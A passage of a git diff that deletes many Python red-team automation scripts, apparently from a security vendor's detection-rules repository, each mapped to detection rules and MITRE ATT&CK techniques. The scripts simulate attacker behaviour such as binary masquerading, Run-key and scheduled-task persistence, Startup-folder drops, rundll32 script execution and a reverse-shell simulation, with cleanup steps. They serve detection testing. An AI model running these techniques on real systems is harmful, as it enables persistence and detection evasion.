common.log("Simulating reverse shell activity..") - common.execute([*commands], timeout=5) - common.log("Reverse shell simulation successful!") - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("RTA completed!") - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_java_via_scripting.py b/rta/exec_java_via_scripting.py deleted file mode 100644 index 518abee61..000000000 --- a/rta/exec_java_via_scripting.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a3b26c9e-6910-43f7-93b2-84cc777e54f4", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '15b1d979-5be0-4e7f-9202-0c4cfd76b146', - 'rule_name': 'Suspicious Java Execution via a Windows Script' - }, - {'rule_id': '16c84e67-e5e7-44ff-aefa-4d771bcafc0c', 'rule_name': 'Execution from Unusual Directory'}, - {'rule_id': '35dedf0c-8db6-4d70-b2dc-a133b808211f', 'rule_name': 'Binary Masquerading via Untrusted Path'}, - {'rule_id': '23e29d07-7584-465e-8a6d-912d9ea254a6', 'rule_name': 'Suspicious Image Load via Windows Scripts'} - ], - siem=[], - techniques=['T1059', 'T1059.005', 'T1059.007'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(common.WINDOWS) -def main(): - path = "C:\\Program Files\\Java\\jrertaendgametest\\bin\\" - argpath = "C:\\\"Program Files\"\\Java\\jrertaendgametest\\bin\\Javafake.exe" - cscript = "C:\\Users\\Public\\cscript.exe" - executable = path + "Javafake.exe" - - if not Path(path).is_dir(): - Path(path).mkdir(parents=True) - else: - pass - common.copy_file(EXE_FILE, cscript) - common.copy_file(EXE_FILE, executable) - - # Execute command - common.execute([cscript, "/c", argpath, ("iwr google.com -UseBasicParsing -UserAgent " - "'C:\\Users\\Public\\' -SessionVariable '-jar'")], timeout=10) - common.remove_files(cscript, executable) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_ms_dotnet_clickonce.py b/rta/exec_ms_dotnet_clickonce.py deleted file mode 100644 index db0994975..000000000 --- a/rta/exec_ms_dotnet_clickonce.py +++ /dev/null @@ -1,57 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="23f0dde3-4803-4976-9a2a-5b5faca50b54", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Executable File Creation Followed by Immediate Network Connection", - "rule_id": "8d11d741-7a06-41a1-a525-feaaa07ebbae", - }, - { - "rule_name": "Execution via Microsoft DotNet ClickOnce Host", - "rule_id": "8606d5fe-5005-4f48-804a-3ad71a22e39d", - }, - ], - siem=[], - techniques=["T1127", "T1218", "T1036", "T1204", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - rundll32 = "C:\\Users\\Public\\rundll32.exe" - dfsvc = "C:\\Users\\Public\\dfsvc.exe" - common.copy_file(EXE_FILE, dfsvc) - common.copy_file(EXE_FILE, rundll32) - - common.log("Loading mstscax.dll into posh") - common.execute([rundll32, "-c", "echo dfshim1ShOpenVerbApplication"], timeout=10) - common.execute( - [ - dfsvc, - "-c", - "Test-NetConnection", - "-ComputerName", - "portquiz.net", - "-Port", - "443", - ], - timeout=10, - ) - common.remove_files(dfsvc, rundll32) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_msdt_diagcab.py b/rta/exec_msdt_diagcab.py deleted file mode 100644 index a2373e32e..000000000 --- a/rta/exec_msdt_diagcab.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="71c81436-242d-4bc8-a195-93d1fdbc774b", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "Suspicious Troubleshooting Pack Cabinet Execution", - "rule_id": "d18721f0-dce0-4bbc-a56a-06ea511b025e", - }, - ], - siem=[], - techniques=["T1218", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - firefox = "C:\\Users\\Public\\firefox.exe" - msdt = "C:\\Users\\Public\\msdt.exe" - common.copy_file(EXE_FILE, firefox) - common.copy_file(EXE_FILE, msdt) - - # Creating a high entropy file, and executing the rename operation - common.execute( - [firefox, "/c", "msdt.exe /c", "echo", "/cab", "C:\\Users\\Public\\"], - timeout=10, - ) - common.remove_files(firefox, msdt) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_msiexec_dllregisterserver.py b/rta/exec_msiexec_dllregisterserver.py deleted file mode 100644 index 7e2b7ca8f..000000000 --- a/rta/exec_msiexec_dllregisterserver.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a37316f1-2828-45d2-85ea-1783bb9b9982", - platforms=["windows"], - endpoint=[{ - 'rule_id': 'ed77616c-8f97-472b-bb15-532af004e82a', - 'rule_name': 'Suspicious DLLRegisterServer Execution via MSIEXEC' - }], - siem=[], - techniques=['T1218', 'T1218.007'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - msiexec = "C:\\Windows\\System32\\msiexec.exe" - - common.execute([msiexec, "/z"], timeout=5, kill=True) - common.remove_files(msiexec) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_nohup.py b/rta/exec_nohup.py deleted file mode 100644 index a10b90d3e..000000000 --- a/rta/exec_nohup.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b2faa842-ffc9-41c6-baed-8008c9749a52", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Suspicious Nohup Execution", - "rule_id": "3f18726c-4897-41dc-8426-15da95b8482f", - } - ], - techniques=["T1059", "T1059.004", "T1564", "T1564.003"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - test_file = "/tmp/test.txt" - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - command = f"nohup {test_file}" - common.log("Launching bash commands to mimic suspicious nohup execution") - with common.temporary_file("testing", test_file): - common.execute([masquerade, "childprocess", command, "&"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_persistence_from_iso.py b/rta/exec_persistence_from_iso.py deleted file mode 100644 index 3871fcb42..000000000 --- a/rta/exec_persistence_from_iso.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a4355bfc-aa15-43f6-a36d-523aa637127b", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "0cdf1d24-b1c3-4952-a400-5ba3c1491087", "rule_name": "Persistence via a Process from a Removable or Mounted ISO Device"}, - {"rule_id": "3c12c648-e29f-4bff-9157-b07f2cbddf1a", "rule_name": "Scheduled Task from a Removable or Mounted ISO Device"}], - techniques=["T1071", "T1204"], -) - -# iso contains cmd.exe to test for rules looking for persistence from a PE from a mounted ISO or its descendants -ISO = common.get_path("bin", "cmd_from_iso.iso") -PROC = 'cmd.exe' - -# ps script to mount, execute a file and unmount ISO device -PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") - -@common.requires_os(*metadata.platforms) - -def main(): - if Path(ISO).is_file() and Path(PS_SCRIPT).is_file(): - print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') - - # commands to trigger two unique rules looking for persistence from a mounted ISO file - for arg in ["'/c reg.exe add hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v FromISO /d test.exe /f'", "'/c SCHTASKS.exe /Create /TN FromISO /TR test.exe /sc hourly /F'"] : - - # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments - command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {arg};" - common.execute(command) - # cleanup - rem_cmd = "reg.exe delete 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /v FromISO" - common.execute(["cmd.exe", "/c", rem_cmd], timeout=10) - common.execute(["SCHTASKS.exe", "/delete", "/TN", "FromISO", "/F"]) - print(f'[+] - RTA Done!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_privhelper_tool.py b/rta/exec_privhelper_tool.py deleted file mode 100644 index 234e7345c..000000000 --- a/rta/exec_privhelper_tool.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="aac863d1-8306-463e-b81f-3d97ba925a44", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious PrivilegedHelperTool Activity", - "rule_id": "900fdb84-2a81-4a6d-88db-b48a0fafd79e", - } - ], - siem=[], - techniques=["T1068"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - tools = Path("/Library/PrivilegedHelperTools") - tools.mkdir(parents=True, exist_ok=True) - masquerade = str(tools / "testbin") - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake bash commands to abnormal echo shell commands") - command = f"bash -c '/tmp/*'" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) - - # cleanup - common.remove_directory(str(tools)) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_renamed_msbuild.py b/rta/exec_renamed_msbuild.py deleted file mode 100644 index 70d06817c..000000000 --- a/rta/exec_renamed_msbuild.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="465eb9a9-2f8b-458b-9ea4-e50912ce1b89", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae4', - 'rule_name': 'Microsoft Build Engine Using an Alternate Name' - }], - techniques=['T1036', 'T1036.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msbuild = "C:\\Users\\Public\\rta.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, msbuild) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, msbuild, "--set-version-string", "OriginalFilename", "MSBuild.exe"]) - - common.execute([msbuild], timeout=2, kill=True) - - common.remove_files(rcedit, msbuild) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_renamed_winword.py b/rta/exec_renamed_winword.py deleted file mode 100644 index 030d53476..000000000 --- a/rta/exec_renamed_winword.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c5a8bbf2-0920-40ee-a08f-f897c2895eba", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '1160dcdb-0a0a-4a79-91d8-9b84616edebd', - 'rule_name': 'Potential DLL SideLoading via Trusted Microsoft Programs' - }], - techniques=['T1036'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - winword = "C:\\Users\\Public\\rta.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(RENAMER, rcedit) - common.copy_file(EXE_FILE, winword) - - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, winword, "--set-version-string", "OriginalFilename", "WinWord.exe"]) - - common.execute([winword], timeout=2, kill=True) - - common.remove_files(rcedit, winword) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_scripting_persistence_locations.py b/rta/exec_scripting_persistence_locations.py deleted file mode 100644 index 627a5f381..000000000 --- a/rta/exec_scripting_persistence_locations.py +++ /dev/null @@ -1,62 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="537de67d-8ba8-4df8-a965-75ca564d0846", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Script Interpreter Process Writing to Commonly Abused Persistence Locations", - "rule_id": "be42f9fc-bdca-41cd-b125-f223d09eef69", - }, - { - "rule_name": "Startup Persistence via Windows Script Interpreter", - "rule_id": "a85000c8-3eac-413b-8353-079343c2b6f0", - }, - ], - siem=[], - techniques=["T1547", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - - common.log("Dropping executable to Startup Folder using powershell") - common.execute( - [ - powershell, - "-C", - "Copy-Item", - "C:\\Windows\\System32\\cmd.exe", - "'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\'", - ] - ) - - common.log("Dropping executable to Startup Folder using powershell") - common.execute( - [ - powershell, - "-C", - "Copy-Item", - "C:\\Windows\\System32\\cmd.exe", - "'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd2.exe'", - ] - ) - - common.remove_files( - "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd2.exe", - "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\cmd.exe", - ) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_scripting_unusual_extension.py b/rta/exec_scripting_unusual_extension.py deleted file mode 100644 index 3f0c43710..000000000 --- a/rta/exec_scripting_unusual_extension.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="04fa2fff-bbcb-4b13-ad10-33225056e34e", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Execution of a Windows Script with Unusual File Extension", - "rule_id": "b76c0a04-b504-4a2f-a0cf-b4175a2f3eea", - } - ], - siem=[], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Executing cscript against .exe") - common.execute(["cmd.exe", "/c", "cscript.exe", "/e:Vbscript", "cmd.exe"], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_scripting_via_html_app.py b/rta/exec_scripting_via_html_app.py deleted file mode 100644 index c2597dae5..000000000 --- a/rta/exec_scripting_via_html_app.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="05f1f2a3-430d-4d20-9c0c-767d3b950cbb", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Script Execution via Microsoft HTML Application", - "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", - } - ], - siem=[], - techniques=["T1218"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - # Execute Command - # Had a hard time trying to escape the quotes that would be needed to execute a real command using - # RunHTMLApplication, this will just fire the rule and result in a Missing entry error - common.log("Running rundll32 RunHTMLApplication") - common.execute( - [ - "cmd.exe", - "/c", - "rundll32.exe javascript:\\..\\mshtml.dll,RunHTMLApplication", - ], - timeout=5, - kill=True, - ) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_shell_kworker.py b/rta/exec_shell_kworker.py deleted file mode 100644 index a4873178e..000000000 --- a/rta/exec_shell_kworker.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="11b447ca-6ad4-4597-a048-2585b27762ea", - platforms=["linux"], - endpoint=[{"rule_name": "Shell Command Execution via kworker", "rule_id": "94943f02-5580-4d1d-a763-09e958bd0f57"}], - siem=[], - techniques=["T1036", "T1059"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade_script = Path("/tmp/kworker_evasion.sh") - with masquerade_script.open("w") as f: - f.write("#!/bin/bash\n") - f.write("sh -c 'whoami'\n") - - # Make the script executable - masquerade_script.chmod(0o755) - - # Execute the script - common.log("Launching fake command to simulate a kworker execution") - os.system(str(masquerade_script)) # noqa: S605 - - # Cleanup - masquerade_script.unlink() - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/exec_shortcut_embedded_obj.py b/rta/exec_shortcut_embedded_obj.py deleted file mode 100644 index c22618f78..000000000 --- a/rta/exec_shortcut_embedded_obj.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="32faebaa-b581-464c-bca9-6936fe0948dc", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '8076640d-ec66-4d24-a252-ee2f054e00a1', - 'rule_name': 'Windows Shortcut File Embedded Object Execution' - }, - { - 'rule_id': '9fdd772b-b483-404f-bc02-7ec87e332bec', - 'rule_name': 'Embedded Executable via Windows Shortcut File' - } - ], - siem=[], - techniques=['T1059', 'T1059.003', 'T1204', 'T1204.001', 'T1204.002', 'T1566', 'T1566.001', 'T1566.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(common.WINDOWS) -def main(): - cmd = "C:\\Users\\Public\\cmd.exe" - rta = "C:\\Users\\Public\\rta.exe" - tempfile = "C:\\Users\\Public\\a.txt" - common.copy_file(EXE_FILE, cmd) - common.copy_file(EXE_FILE, rta) - - # Execute command - common.execute([cmd, "/c", f"Copy-Item {EXE_FILE} '{tempfile}'; echo 'finda.a.lnk >1&'; {rta}"], - kill=True, timeout=10) - common.remove_files(cmd, rta, tempfile) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_sliver_posh.py b/rta/exec_sliver_posh.py deleted file mode 100644 index 15fec41cf..000000000 --- a/rta/exec_sliver_posh.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="99180561-08ad-42e7-bcda-078af280ad9c", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '14626cac-eb09-4e52-81f1-f87975e8f5ae', - 'rule_name': 'Potential Execution via Sliver Framework' - } - ], - siem=[], - techniques=['T1059', 'T1059.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.execute([powershell, "-NoExit", "-Command", - "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8"], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_sqlserver_suspicious_child.py b/rta/exec_sqlserver_suspicious_child.py deleted file mode 100644 index 3d40a0044..000000000 --- a/rta/exec_sqlserver_suspicious_child.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0885b643-a199-4453-95e0-be0d1f29aafc", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Execution from MSSQL Service", "rule_id": "547636af-cad2-4be0-a74e-613c7bb86664"} - ], - siem=[], - techniques=["T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - sqlserver = "C:\\Users\\Public\\sqlserver.exe" - common.copy_file(EXE_FILE, sqlserver) - - # Execute command - common.execute([sqlserver, "/c", powershell], timeout=10, kill=True) - common.remove_file(sqlserver) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_susp_explorer.py b/rta/exec_susp_explorer.py deleted file mode 100644 index 2f49a2f02..000000000 --- a/rta/exec_susp_explorer.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="76050b81-a8da-43d2-8a83-f18b31162b94", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Windows Explorer Execution", "rule_id": "f8ec5b76-53cf-4989-b451-7d16abec7298"} - ], - siem=[], - techniques=["T1055", "T1036"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - explorer = "C:\\Windows\\explorer.exe" - common.execute([explorer, "easyminerRTA"], timeout=1, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_susp_msiexec.py b/rta/exec_susp_msiexec.py deleted file mode 100644 index 3ce98e2f8..000000000 --- a/rta/exec_susp_msiexec.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c9b68802-7d8b-4806-a817-ad50032efc58", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Execution via MSIEXEC", "rule_id": "9d1d6c77-8acc-478b-8a1f-43da8fa151c7"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - ], - siem=[], - techniques=["T1218", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - msiexec = "C:\\Users\\Public\\msiexec.exe" - common.copy_file(EXE_FILE, msiexec) - - # Execute command - common.execute([powershell, "/c", msiexec], timeout=10, kill=True) - common.remove_file(msiexec) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_susp_parent_child.py b/rta/exec_susp_parent_child.py deleted file mode 100644 index 811f625e8..000000000 --- a/rta/exec_susp_parent_child.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b12372b8-0e76-4b3d-9dfc-880664893eb9", - platforms=["windows"], - endpoint=[{"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}], - siem=[], - techniques=["T1055", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - posh = "C:\\Users\\Public\\posh.exe" - tiworker = "C:\\Users\\Public\\TiWorker.exe" - common.copy_file(EXE_FILE, posh) - common.copy_file(EXE_FILE, tiworker) - - # Execute command - common.execute([posh, "/c", tiworker], timeout=3, kill=True) - common.remove_files(posh, tiworker) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_svchost_child_schedule.py b/rta/exec_svchost_child_schedule.py deleted file mode 100644 index ef057f06b..000000000 --- a/rta/exec_svchost_child_schedule.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e9ee4f0c-b8c6-4471-b132-1edf4a7ca441", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c"}, - {"rule_name": "Suspicious Windows Schedule Child Process", "rule_id": "eb04896b-935f-4d12-b2ad-579db82e1f42"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1216", "T1220", "T1053", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - svchost = "C:\\Users\\Public\\svchost.exe" - common.copy_file(EXE_FILE, svchost) - - common.execute([svchost, "/c", "echo", "Schedule", "; mshta"], timeout=1, kill=True) - common.remove_file(svchost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_tclsh.py b/rta/exec_tclsh.py deleted file mode 100644 index 0973f3482..000000000 --- a/rta/exec_tclsh.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9332cece-38b7-49e1-9f8d-e879913ffdfb", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Tclsh execution followed by immediate network connection", - "rule_id": "ac1eaed8-2aee-48d7-9824-2be1f00eda0e", - } - ], - siem=[], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/tclsh" - common.copy_file("/usr/bin/curl", masquerade) - - common.log("Executing commands to mimic network activity from tclsh") - common.execute([masquerade, url], shell=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_unusual_directory.py b/rta/exec_unusual_directory.py deleted file mode 100644 index 8ecbb312b..000000000 --- a/rta/exec_unusual_directory.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="0860c487-e9e0-4f86-9829-5bb98f615046", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - exe_path = "c:\\windows\\system32\\cscript.exe" - binary = "c:\\Users\\Public\\cscript.exe" - common.copy_file(exe_path, binary) - - # Execute command - common.log("Executing cscript from unusual directory") - common.execute([binary], timeout=5, kill=True) - - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/exec_unusual_path_msmpeng.py b/rta/exec_unusual_path_msmpeng.py deleted file mode 100644 index efa141a04..000000000 --- a/rta/exec_unusual_path_msmpeng.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic 